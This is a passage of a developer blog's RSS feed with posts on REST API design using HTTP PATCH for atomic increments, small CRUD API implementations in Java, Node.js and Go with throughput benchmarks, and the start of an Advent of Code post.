                        var va = document.createElementNS(null, s ? &quot;item&quot; : k);
                        if (t(v) != &quot;null&quot;) {
                            va.appendChild(document.createTextNode(v));
                        }
                        var ch = c.appendChild(va);
                        ch.setAttribute(&quot;type&quot;, t(v));
                    }
                }
            }
        }
    };
    f(f, c, a, t(a) == &quot;array&quot;);
    return c.outerHTML;
}
</code></pre>
<p>I wrote also the reverse function and did the same implementation in PHP, see:</p>
<ul>
<li><a href="https://github.com/mevdschee/json2xml.js">https://github.com/mevdschee/json2xml.js</a></li>
<li><a href="https://github.com/mevdschee/json2xml.php">https://github.com/mevdschee/json2xml.php</a></li>
</ul>
<p>To ensure quality, I covered all code with unit tests, both in JavaScript (using
QUnit) as in PHP (using PHPUnit). Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>RESTful incrementing using PATCH</title>
      <link>https://www.tqdev.com/2017-restful-incrementing-using-patch/</link>
      <pubDate>Fri, 03 Feb 2017 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-restful-incrementing-using-patch/</guid>
      <description>&lt;p&gt;How should a RESTful JSON-based API handle counters (atomic increments)? In this
post I&amp;rsquo;ll try to describe the considerations and do an implementation suggestion
using the &amp;ldquo;PATCH&amp;rdquo; HTTP method.&lt;/p&gt;
&lt;h3 id=&#34;atomic-increments&#34;&gt;Atomic increments&lt;/h3&gt;
&lt;p&gt;When counting events, such as people visiting a web page, it may be cheaper to
increment a counter than to insert a log record. But when dealing with many
increments per second you cannot simply read a value in one call and then write
the incremented value back in the next call. The concurrent updates would cause
issues and increments would get lost. This is the problem I am trying to solve.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>How should a RESTful JSON-based API handle counters (atomic increments)? In this
post I&rsquo;ll try to describe the considerations and do an implementation suggestion
using the &ldquo;PATCH&rdquo; HTTP method.</p>
<h3 id="atomic-increments">Atomic increments</h3>
<p>When counting events, such as people visiting a web page, it may be cheaper to
increment a counter than to insert a log record. But when dealing with many
increments per second you cannot simply read a value in one call and then write
the incremented value back in the next call. The concurrent updates would cause
issues and increments would get lost. This is the problem I am trying to solve.</p>
<h3 id="choosing-a-method-to-abuse">Choosing a method to (ab)use</h3>
<p>In my quest for the most appropriate method for incrementing values I have ran
into the various methods (or verbs) described in HTTP, the concept of &ldquo;safe&rdquo; and
&ldquo;idempotent&rdquo; requests, the &ldquo;PATCH&rdquo; method and the &ldquo;JSON PATCH&rdquo; standard for
updating an existing JSON HTTP resource. That last one sounded very promising,
and even has an operation named &ldquo;add&rdquo;, but unfortunately that is for adding
elements to a JSON array and not for incrementing counters.</p>
<h4 id="official-http-11-methods">Official HTTP 1.1 methods</h4>
<p>The following HTTP methods are allowed in RFC 2616 (the HTTP 1.1 standard):</p>
<ul>
<li>OPTIONS: request information about the communication options</li>
<li>GET: retrieve whatever is identified by the Request-URI</li>
<li>HEAD: same as GET, but the server MUST NOT return a message-body</li>
<li>POST: the enclosed entity should become the resource identified by the URI</li>
<li>PUT: the enclosed entity should be stored under the supplied URI</li>
<li>DELETE: the server should delete the resource identified by the URI</li>
<li>TRACE: invoke a remote, application-layer loop- back of the request</li>
<li>CONNECT: for a proxy that can dynamically switch to being a tunnel</li>
<li>[extension methods]</li>
</ul>
<p>None of the above seem very suitable for an &ldquo;increment&rdquo; command.</p>
<h4 id="safe-methods">Safe methods</h4>
<p>RFC 2616 &amp; 7231 say that GET and HEAD methods should not take other action than
retrieval of information and can therefore be considered &ldquo;safe&rdquo;. Other methods,
such as POST, PUT and DELETE take actions other than retrieval and should be
considered &ldquo;unsafe&rdquo;.</p>
<h4 id="idempotent-methods">Idempotent methods</h4>
<p>Also defined in RFC 2616 &amp; 7231 is that a request is &ldquo;idempotent&rdquo; when the
result of multiple identical invocations is the same as that of a single
invocation. The methods GET, HEAD, PUT and DELETE, but also OPTIONS and TRACE,
share this property, while POST and PATCH do not.</p>
<h4 id="put-vs-patch">PUT vs. PATCH</h4>
<p>RFC 5789 describes that the extension method PATCH should be used to modify an
existing HTTP resource as opposed to PUT, which is for replacement of a
document.</p>
<h4 id="json-patch">JSON Patch</h4>
<p>RFC 6902 describes the use of the extension method PATCH to send a JSON document
describing operations to apply to an existing JSON document (HTTP resource).</p>
<h3 id="patch-as-increment-method">PATCH as increment method</h3>
<p>Creating a RESTful JSON API involves mapping the HTTP standard to SQL and this
is not easy. In order to facilitate incrementing, you could allow
back-references or commands in posted JSON documents (or post values). Another
option is to use the PATCH verb for this purpose. This means you can no longer
use that for partial updates, so you would have to allow those for the PUT
method (a common violation of the standard).</p>
<p>Using PATCH to increment is simple, which is good, but has the downside you
cannot easily express other operations. You can, however, vary what PATCH does
based on the type of the field. You may want PATCH to &ldquo;concatenate&rdquo; to a string
or blob typed field while you would &ldquo;increment&rdquo; a numeric or date typed field
(using seconds). I implemented PATCH as increment for numeric fields in my
(pragmatic) API project
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tech.blog.aknin.name/2012/02/08/restfully-atomically-incrementing-a-counter-using-http-patch/">RESTfully atomically incrementing a counter using HTTP PATCH</a></li>
<li><a href="http://restful-api-design.readthedocs.io/en/latest/methods.html">Thoughts on RESTful API Design - Methods</a></li>
<li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">RFC 2616 - Section 9 - Method Definitions</a></li>
<li><a href="https://tools.ietf.org/html/rfc7231#section-4">RFC 7231 - Section 4 - Request Methods</a></li>
<li><a href="https://tools.ietf.org/html/rfc5789">RFC 5789 - PATCH Method for HTTP</a></li>
<li><a href="https://tools.ietf.org/html/rfc6902">RFC 6902 - JavaScript Object Notation (JSON) Patch</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Building micro-services in Java</title>
      <link>https://www.tqdev.com/2017-building-micro-services-in-java/</link>
      <pubDate>Sat, 21 Jan 2017 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-building-micro-services-in-java/</guid>
      <description>&lt;p&gt;In a quest for the ultimate micro-service technology I have ported the core of
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; to Java. It is a REST
API that reflects the tables in your MySQL database. You can find
&lt;a href=&#34;https://github.com/mevdschee/java-crud-api&#34;&gt;the code on my Github account&lt;/a&gt;. I
have found Java to be extremely fast. At 14000 requests per second it
outperforms implementations in all other languages (that I tried):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Java, 14000 req/sec
(&lt;a href=&#34;https://github.com/mevdschee/java-crud-api/blob/master/core/src/main/java/com/tqdev/CrudApiHandler.java&#34;&gt;source code&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Go, 12000 req/sec
(&lt;a href=&#34;https://github.com/mevdschee/go-crud-api/blob/master/api.go&#34;&gt;source code&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;PHP 7, 6500 req/sec
(&lt;a href=&#34;https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php&#34;&gt;source code&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;C# (.net Core), 5000 req/sec
(&lt;a href=&#34;https://github.com/mevdschee/core-data-api/blob/master/Program.cs&#34;&gt;source code&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Node.js, 4200 req/sec
(&lt;a href=&#34;https://github.com/mevdschee/js-crud-api/blob/master/app.js&#34;&gt;source code&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Python, 2600 req/sec
(&lt;a href=&#34;https://github.com/mevdschee/py-crud-api/blob/master/api.py&#34;&gt;source code&lt;/a&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you feel any code can be improved, please open an issue on Github!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a quest for the ultimate micro-service technology I have ported the core of
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> to Java. It is a REST
API that reflects the tables in your MySQL database. You can find
<a href="https://github.com/mevdschee/java-crud-api">the code on my Github account</a>. I
have found Java to be extremely fast. At 14000 requests per second it
outperforms implementations in all other languages (that I tried):</p>
<ol>
<li>Java, 14000 req/sec
(<a href="https://github.com/mevdschee/java-crud-api/blob/master/core/src/main/java/com/tqdev/CrudApiHandler.java">source code</a>)</li>
<li>Go, 12000 req/sec
(<a href="https://github.com/mevdschee/go-crud-api/blob/master/api.go">source code</a>)</li>
<li>PHP 7, 6500 req/sec
(<a href="https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php">source code</a>)</li>
<li>C# (.net Core), 5000 req/sec
(<a href="https://github.com/mevdschee/core-data-api/blob/master/Program.cs">source code</a>)</li>
<li>Node.js, 4200 req/sec
(<a href="https://github.com/mevdschee/js-crud-api/blob/master/app.js">source code</a>)</li>
<li>Python, 2600 req/sec
(<a href="https://github.com/mevdschee/py-crud-api/blob/master/api.py">source code</a>)</li>
</ol>
<p>If you feel any code can be improved, please open an issue on Github!</p>
<h3 id="hello-world-example">Hello world example</h3>
<p>As I did in other languages I will first show a little hello world example, that
I found online, that performs very good
(<a href="http://www.eclipse.org/jetty/documentation/current/advanced-embedding.html">source</a>):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="nn">java.io.IOException</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">javax.servlet.ServletException</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">javax.servlet.http.HttpServletRequest</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">javax.servlet.http.HttpServletResponse</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.eclipse.jetty.server.Request</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.eclipse.jetty.server.Server</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.eclipse.jetty.server.handler.AbstractHandler</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"> 
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">HelloWorld</span><span class="w"> </span><span class="kd">extends</span><span class="w"> </span><span class="n">AbstractHandler</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"> 
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@Override</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">handle</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">target</span><span class="p">,</span><span class="w"> </span><span class="n">Request</span><span class="w"> </span><span class="n">baseRequest</span><span class="p">,</span><span class="w"> </span><span class="n">HttpServletRequest</span><span class="w"> </span><span class="n">request</span><span class="p">,</span><span class="w"> </span><span class="n">HttpServletResponse</span><span class="w"> </span><span class="n">response</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">IOException</span><span class="p">,</span><span class="w"> </span><span class="n">ServletException</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">response</span><span class="p">.</span><span class="na">setContentType</span><span class="p">(</span><span class="s">&#34;text/html; charset=utf-8&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">response</span><span class="p">.</span><span class="na">setStatus</span><span class="p">(</span><span class="n">HttpServletResponse</span><span class="p">.</span><span class="na">SC_OK</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">response</span><span class="p">.</span><span class="na">getWriter</span><span class="p">().</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;&lt;h1&gt;Hello World&lt;/h1&gt;&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">baseRequest</span><span class="p">.</span><span class="na">setHandled</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"> 
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">args</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Exception</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">Server</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Server</span><span class="p">(</span><span class="n">8000</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">server</span><span class="p">.</span><span class="na">setHandler</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">HelloWorld</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">server</span><span class="p">.</span><span class="na">start</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">server</span><span class="p">.</span><span class="na">join</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>Save the above code as &ldquo;HelloWorld.java&rdquo; and download the dependency:</p>
<pre><code>curl -o jetty-all-uber.jar http://central.maven.org/maven2/org/eclipse/jetty/aggregate/jetty-all/9.4.0.v20161208/jetty-all-9.4.0.v20161208-uber.jar
</code></pre>
<p>To compile the above code (create a &ldquo;class&rdquo; file) run:</p>
<pre><code>javac -cp jetty-all-uber.jar HelloWorld.java
</code></pre>
<p>To run the above (compiled) code run:</p>
<pre><code>java -cp .:jetty-all-uber.jar HelloWorld
</code></pre>
<p>Now connect to &ldquo;http://localhost:8000/&rdquo; to see &ldquo;Hello World&rdquo; and test using
Apache Bench (run it twice without restarting the server):</p>
<pre><code>ab -n 100000 -c 10 http://localhost:8000/
</code></pre>
<p>On my Intel NUC i7 it performs quite good at 22000 requests per second.</p>
<h3 id="warming-up-and-the-jit">Warming up and the JIT</h3>
<p>When you run Apache Bench you need to run it twice. The first time it does not
perform that well (6000 requests per second for the first 10000 requests). After
about 60000 requests the performance has maximized at more than double that
amount. This is something we do not see (or not this extreme) in other
languages.</p>
<p>This slow start is caused by the JIT (Just-In-Time) compiler that needs to
compile and optimize certain execution paths. Executing code paths 10000s of
times is recommended when benchmarking Java. In a real world scenario the
warm-up period is (in most cases) irrelevant.</p>
<h3 id="using-the-best-components">Using the best components</h3>
<p>When converting the above &ldquo;hello world&rdquo; example to a REST API I had to include
some libraries. Apart from MySQL (MariaDB) and Java (OpenJDK) I have chosen the
following dependencies:</p>
<ul>
<li><a href="http://www.eclipse.org/jetty/">Jetty</a>: a high performance, fully featured and
easy to embed web server.</li>
<li><a href="https://brettwooldridge.github.io/HikariCP/">HikariCP</a>: a high performance
connection pooling library for JDBC.</li>
<li><a href="https://github.com/google/gson">GSON</a>: a JSON parse and serialization library
that excels on small objects.</li>
</ul>
<p>I use <a href="https://maven.apache.org/">Maven</a> and the excellent
&ldquo;maven-assembly-plugin&rdquo; to package the API code and all above dependencies and
their configuration in a single executable JAR file. This makes it very easy to
deploy the code: Simply upload and replace the JAR file and restart execution.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Java is a great choice for building a REST API. It is a mature technology that
can perform extremely well. It has a wide range of good tools, debuggers,
profilers and IDEs. It was not as easy to get working as some other
implementations, but none of them performed as well either.</p>
<p><a href="https://github.com/mevdschee/java-crud-api/blob/master/core/src/main/java/com/tqdev/CrudApiHandler.java">Check out the code on Github!</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Simple REST API in Node.js</title>
      <link>https://www.tqdev.com/2017-simple-rest-api-in-node-js/</link>
      <pubDate>Tue, 17 Jan 2017 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-simple-rest-api-in-node-js/</guid>
      <description>&lt;p&gt;I have &lt;a href=&#34;https://github.com/mevdschee/js-crud-api/blob/master/app.js&#34;&gt;written&lt;/a&gt; a
simple REST API in Node.js. It includes routing a JSON REST request, converting
it into SQL, executing it and giving a meaningful response. I tried to write the
application as short as possible and came up with these 110 lines of code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var http = require(&amp;quot;http&amp;quot;);
var mysql = require(&amp;quot;mysql&amp;quot;);

// connect to the mysql database

var pool = mysql.createPool({
  connectionLimit: 100, //important
  host: &#39;localhost&#39;,
  user: &#39;my_username&#39;,
  password: &#39;my_password&#39;,
  database: &#39;my_database&#39;,
  charset: &#39;utf8&#39;,
  debug: false
});

// ensure request has database connection

var withDb = function (handler) {
  return function (req, resp) {
    pool.getConnection(function (err, connection) {
      if (err) {
        resp.writeHead(404)
        resp.end(err);
        return;
      }
      req.db = connection;
      handler(req, resp);
    });
  }
};

// ensure request has (post) body

var withBody = function (handler) {
  return function (req, resp) {
    var input = &amp;quot;&amp;quot;;
    req.on(&amp;quot;data&amp;quot;, function (chunk) {
      input += chunk;
    });
    req.on(&amp;quot;end&amp;quot;, function () {
      req.body = input;
      handler(req, resp);
    });
  }
};

// main web handler

var server = http.createServer(withDb(withBody(function (req, resp) {

  // get the HTTP method, path and body of the request
  var method = req.method;
  var request = req.url.replace(/^[\/]+|[\/]+$/g, &#39;&#39;).split(&#39;/&#39;);
  try {
    var input = JSON.parse(req.body);
  } catch (e) {
    var input = {};
  }

  // retrieve the table and key from the path
  var table = req.db.escapeId(request.shift());
  var key = req.db.escape(request.shift());

  // create SQL based on HTTP method
  var sql = &#39;&#39;;
  switch (req.method) {
    case &#39;GET&#39;:
      sql = &amp;quot;select * from &amp;quot; + table + (key ? &amp;quot; where id=&amp;quot; + key : &#39;&#39;);
      break;
    case &#39;PUT&#39;:
      sql = &amp;quot;update &amp;quot; + table + &amp;quot; set ? where id=&amp;quot; + key;
      break;
    case &#39;POST&#39;:
      sql = &amp;quot;insert into &amp;quot; + table + &amp;quot; set ?&amp;quot;;
      break;
    case &#39;DELETE&#39;:
      sql = &amp;quot;delete &amp;quot; + table + &amp;quot; where id=&amp;quot; + key;
      break;
  }

  // execute SQL statement
  req.db.query(sql, input, function (err, result) {

    // stop using mysql connection
    req.db.release();

    // return if SQL statement failed
    if (err) {
      resp.writeHead(404)
      resp.end(err);
      return;
    }

    // print results, insert id or affected row count
    resp.writeHead(200, {
      &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;
    })
    if (req.method == &#39;GET&#39;) {
      resp.end(JSON.stringify(result));
    } else if (method == &#39;POST&#39;) {
      resp.end(JSON.stringify(result.insertId));
    } else {
      resp.end(JSON.stringify(result.affectedRows));
    }

  });

})));

server.listen(8000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code is
&lt;a href=&#34;https://github.com/mevdschee/js-crud-api/blob/master/app.js&#34;&gt;available on Github&lt;/a&gt;
and is written to show you how simple it is to make a fully operational REST API
in JavaScript.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have <a href="https://github.com/mevdschee/js-crud-api/blob/master/app.js">written</a> a
simple REST API in Node.js. It includes routing a JSON REST request, converting
it into SQL, executing it and giving a meaningful response. I tried to write the
application as short as possible and came up with these 110 lines of code:</p>
<pre><code>var http = require(&quot;http&quot;);
var mysql = require(&quot;mysql&quot;);

// connect to the mysql database

var pool = mysql.createPool({
  connectionLimit: 100, //important
  host: 'localhost',
  user: 'my_username',
  password: 'my_password',
  database: 'my_database',
  charset: 'utf8',
  debug: false
});

// ensure request has database connection

var withDb = function (handler) {
  return function (req, resp) {
    pool.getConnection(function (err, connection) {
      if (err) {
        resp.writeHead(404)
        resp.end(err);
        return;
      }
      req.db = connection;
      handler(req, resp);
    });
  }
};

// ensure request has (post) body

var withBody = function (handler) {
  return function (req, resp) {
    var input = &quot;&quot;;
    req.on(&quot;data&quot;, function (chunk) {
      input += chunk;
    });
    req.on(&quot;end&quot;, function () {
      req.body = input;
      handler(req, resp);
    });
  }
};

// main web handler

var server = http.createServer(withDb(withBody(function (req, resp) {

  // get the HTTP method, path and body of the request
  var method = req.method;
  var request = req.url.replace(/^[\/]+|[\/]+$/g, '').split('/');
  try {
    var input = JSON.parse(req.body);
  } catch (e) {
    var input = {};
  }

  // retrieve the table and key from the path
  var table = req.db.escapeId(request.shift());
  var key = req.db.escape(request.shift());

  // create SQL based on HTTP method
  var sql = '';
  switch (req.method) {
    case 'GET':
      sql = &quot;select * from &quot; + table + (key ? &quot; where id=&quot; + key : '');
      break;
    case 'PUT':
      sql = &quot;update &quot; + table + &quot; set ? where id=&quot; + key;
      break;
    case 'POST':
      sql = &quot;insert into &quot; + table + &quot; set ?&quot;;
      break;
    case 'DELETE':
      sql = &quot;delete &quot; + table + &quot; where id=&quot; + key;
      break;
  }

  // execute SQL statement
  req.db.query(sql, input, function (err, result) {

    // stop using mysql connection
    req.db.release();

    // return if SQL statement failed
    if (err) {
      resp.writeHead(404)
      resp.end(err);
      return;
    }

    // print results, insert id or affected row count
    resp.writeHead(200, {
      &quot;Content-Type&quot;: &quot;application/json&quot;
    })
    if (req.method == 'GET') {
      resp.end(JSON.stringify(result));
    } else if (method == 'POST') {
      resp.end(JSON.stringify(result.insertId));
    } else {
      resp.end(JSON.stringify(result.affectedRows));
    }

  });

})));

server.listen(8000);
</code></pre>
<p>The code is
<a href="https://github.com/mevdschee/js-crud-api/blob/master/app.js">available on Github</a>
and is written to show you how simple it is to make a fully operational REST API
in JavaScript.</p>
<h3 id="multi-threading">Multi-threading</h3>
<p>Node.js applications are single threaded by default. With the &ldquo;cluster&rdquo; package,
as shown in the code below
(<a href="http://rowanmanning.com/posts/node-cluster-and-express/">source</a>), you can
make Node.js use multiple cores.</p>
<pre><code>var cluster = require('cluster');
var http = require('http');
var numCPUs = require('os').cpus().length;

if (cluster.isMaster) {
    for (var i = 0; i &lt; numCPUs; i++) {
        cluster.fork();
    }
} else {
    http.createServer(function(req, res) {
        res.writeHead(200);
        res.end('process ' + process.pid + ' says hello!');
    }).listen(8000);
}
</code></pre>
<p>Note that using &ldquo;cluster&rdquo; has quite some overhead, so only do this when you have
lots of cores and some cores of your machine are actually idle under full load.</p>
<h3 id="running">Running</h3>
<p>To run the application you need to install Node.js (node) and Node Package
Manager (npm). On Ubuntu Linux you can do this by running:</p>
<pre><code>sudo apt-get install nodejs nodejs-legacy npm
</code></pre>
<p>To install the application&rsquo;s dependencies type:</p>
<pre><code>npm install mysql
</code></pre>
<p>To run the application type:</p>
<pre><code>node app.js
</code></pre>
<p>The URL you need to open in your browser is:</p>
<pre><code>http://localhost:8000/{table-name}/{record-id}
</code></pre>
<p>NB: Don’t forget to adjust the database parameters in the above script!</p>
<h3 id="rest-api-in-a-single-javascript-file">REST API in a single JavaScript file</h3>
<p>Although the above code is not perfect it actually does do 3 important things:</p>
<ul>
<li>Support HTTP verbs GET, POST, UPDATE and DELETE</li>
<li>Escape all data properly to avoid SQL injection</li>
<li>Handle null values correctly</li>
</ul>
<p>One could thus say that the REST API is fully functional. You may run into
missing features of the code, such as:</p>
<ul>
<li>No related data (automatic joins) supported</li>
<li>No condensed JSON output supported</li>
<li>No support for PostgreSQL or SQL Server</li>
<li>No POST parameter support</li>
<li>No JSONP/CORS cross domain support</li>
<li>No base64 binary column support</li>
<li>No geospatial support</li>
<li>No permission system</li>
<li>No search/filter support</li>
<li>No pagination or sorting supported</li>
<li>No column selection supported</li>
</ul>
<p>Don’t worry, all these features are available in
<a href="https://github.com/mevdschee/php-crud-api">php-crud-api</a>, which you can get
from Github. On the other hand, now that you have the essence of the
application, you may also write your own!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Porting PHP-CRUD-API to Go</title>
      <link>https://www.tqdev.com/2016-porting-php-crud-api-to-go/</link>
      <pubDate>Sat, 17 Dec 2016 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-porting-php-crud-api-to-go/</guid>
      <description>&lt;p&gt;I have ported the core of PHP-CRUD-API to Go and achieved a nice performance
improvement from 6500 requests per second to 12000 requests per second. I found
that PHP 7 outperforms C# with Kestrel on the .net Core platform for similar
functionlity, whereas PHP 5 was still slower than C#. In PHP 7 the
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api/&#34;&gt;full program&lt;/a&gt; executes at roughly
2500 requests per second, which means the added logic makes you lose about two
thirds of the performance. In compiled languages (like C# and Go) I expect that
adding logic has a lower performance impact.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have ported the core of PHP-CRUD-API to Go and achieved a nice performance
improvement from 6500 requests per second to 12000 requests per second. I found
that PHP 7 outperforms C# with Kestrel on the .net Core platform for similar
functionlity, whereas PHP 5 was still slower than C#. In PHP 7 the
<a href="https://github.com/mevdschee/php-crud-api/">full program</a> executes at roughly
2500 requests per second, which means the added logic makes you lose about two
thirds of the performance. In compiled languages (like C# and Go) I expect that
adding logic has a lower performance impact.</p>
<h3 id="hello-world-web-service-in-go">Hello world web service in Go</h3>
<p>This is the code I found
<a href="http://thenewstack.io/building-a-web-server-in-go/">online</a> for a fast Go-based
&ldquo;hello world&rdquo; web server:</p>
<pre><code>package main

import (
    &quot;io&quot;
    &quot;net/http&quot;
)

func hello(w http.ResponseWriter, r *http.Request) {
    w.Header().Add(&quot;Content-Type&quot;, &quot;text/html;charset=utf8&quot;)
    io.WriteString(w, &quot;&lt;h1&gt;Hello world!&lt;/h1&gt;&quot;)
}

func main() {
    http.HandleFunc(&quot;/&quot;, hello)
    http.ListenAndServe(&quot;:8000&quot;, nil)
}
</code></pre>
<p>Install and run on a Debian based Linux using:</p>
<pre><code>sudo apt-get install golang
go build hello
./hello
</code></pre>
<p>This is very fast (27k req/sec), which is about as fast as a <code>helloworld.php</code>
file performs (with mod_php on Apache).</p>
<h3 id="porting-the-core-of-php-crud-api">Porting the core of PHP-CRUD-API</h3>
<p>Currently there are multiple implementations of the same (limited/core)
functionality:</p>
<ol>
<li>Java, 14000 req/sec
(<a href="https://github.com/mevdschee/java-crud-api/blob/master/core/src/main/java/com/tqdev/CrudApiHandler.java">source code</a>)</li>
<li>Go, 12000 req/sec
(<a href="https://github.com/mevdschee/go-crud-api/blob/master/api.go">source code</a>)</li>
<li>PHP 7, 6500 req/sec
(<a href="https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php">source code</a>)</li>
<li>C# (.net Core), 5000 req/sec
(<a href="https://github.com/mevdschee/core-data-api/blob/master/Program.cs">source code</a>)</li>
<li>Node.js, 4200 req/sec
(<a href="https://github.com/mevdschee/js-crud-api/blob/master/app.js">source code</a>)</li>
<li>Python, 2600 req/sec
(<a href="https://github.com/mevdschee/py-crud-api/blob/master/api.py">source code</a>)</li>
</ol>
<p>The tests are done using Apache Bench (<code>ab -n 100000 -c 10</code>) on my i7 Intel NUC.</p>
<p>The request is:</p>
<pre><code>GET http://localhost:8000/posts/1
</code></pre>
<p>The output is:</p>
<pre><code>{&quot;category_id&quot;:&quot;1&quot;,&quot;content&quot;:&quot;blog started&quot;,&quot;id&quot;:&quot;1&quot;,&quot;user_id&quot;:&quot;1&quot;}
</code></pre>
<p>As you can see a database round-trip is made (locally) and the data is formatted
as JSON.</p>
<h3 id="proper-benchmarking">Proper benchmarking</h3>
<p>While micro-benchmarks may give you an idea of the maximum performance
achievable on a platform it does not mean much that the performance of Go&rsquo;s
hello world is not better than that of PHP&rsquo;s implementation. Only when you start
adding code to the web service then things change and difference in performance
is becoming visible.</p>
<p>When you add code you see that Go is faster than PHP. I expect C# to be faster
than PHP as well when the full application is ported. In the past C# was faster
than PHP, because of PHP 5. PHP 7 performs a lot better than PHP 5 and therefore
we now see that with the current limited amount of code PHP 7 is still faster
than C# and Node.js.</p>
<p>Making proper benchmarks is hard. When you are creating micro-services with a
database back-end then this benchmark may be relevant. This benchmark requires
precise implementation of the same program in multiple languages, which is not
easy, so I may have made mistakes. If you want me to optimize some code, then
feel free to open an issue on <a href="https://github.com/mevdschee">Github</a>!</p>
<p>Another project that is aimed at proper benchmarking is
<a href="https://www.techempower.com/benchmarks/">Techempower Framework Benchmark</a>. It
tries really hard to ensure it is comparing apples with apples. It compares
multiple types of requests and also because the test code is on Github you can
file an issue if a test can be improved.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Advent of Code is fun!</title>
      <link>https://www.tqdev.com/2016-advent-of-code-is-fun/</link>
      <pubDate>Thu, 08 Dec 2016 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-advent-of-code-is-fun/</guid>
      <description>&lt;p&gt;Every day in December I am doing a programming puzzle. The series is called
&lt;a href=&#34;http://adventofcode.com&#34;&gt;Advent of Code&lt;/a&gt; and it follows the advent calendar
approach. Every day from the 1st until the 25th of December one puzzle is
unlocked. The puzzles get gradually harder and each puzzle has two parts, where
the first part is easier than the second.&lt;/p&gt;
